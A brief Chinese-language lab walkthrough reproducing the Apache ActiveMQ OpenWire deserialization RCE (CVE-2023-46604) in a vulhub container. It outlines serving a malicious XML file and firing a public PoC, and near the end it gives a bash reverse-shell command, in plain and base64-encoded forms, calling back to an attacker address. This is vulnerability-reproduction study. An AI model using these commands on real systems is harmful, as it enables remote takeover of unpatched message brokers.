activemq反序列化RCE漏洞
是OpenWire 协议反序列化命令执行漏洞
教程参考:
ActiveMQ反序列化RCE漏洞复现(CVE-2023-46604)_cve-2023-46604复现-CSDN博客
概述
Apache ActiveMQ是一个开源的、功能强大的消息代理(Message Broker),由 Apache Software Foundation 所提供。ActiveMQ 支持 Java Message Service(JMS)1.1 和 2.0规范,提供了一个高性能、简单、灵活和支持多种语言(Java, C, C++, Ruby, Python, Perl等)的消息队列系统。
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
影响版本
Apache ActiveMQ <= 5.18.2
复现
把vulhub下poc都复制过来
poc.py的使用参数,ip,port,xml三个参数都需要
可以看到xml里,如果执行成功会执行touch /tmp/activeMQ-RCE-success
在根目录下的tmp文件夹下创建一个名为activeMQ-RCE-success的文件
启动http反连服务器,让我们的xml文件可以被访问到
再打poc
回来靶机查看执行成功
docker-compose exec activemq bash
那么我们可以构造一个反弹shell命令到xml里,然后去打poc
bash -i >& /dev/tcp/攻击者ip/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
在value下放命令,空格则换行再打一对value标签
打poc
不过我这边报环境不支持终端交互,不过利用这个方法还是可以执行远程代码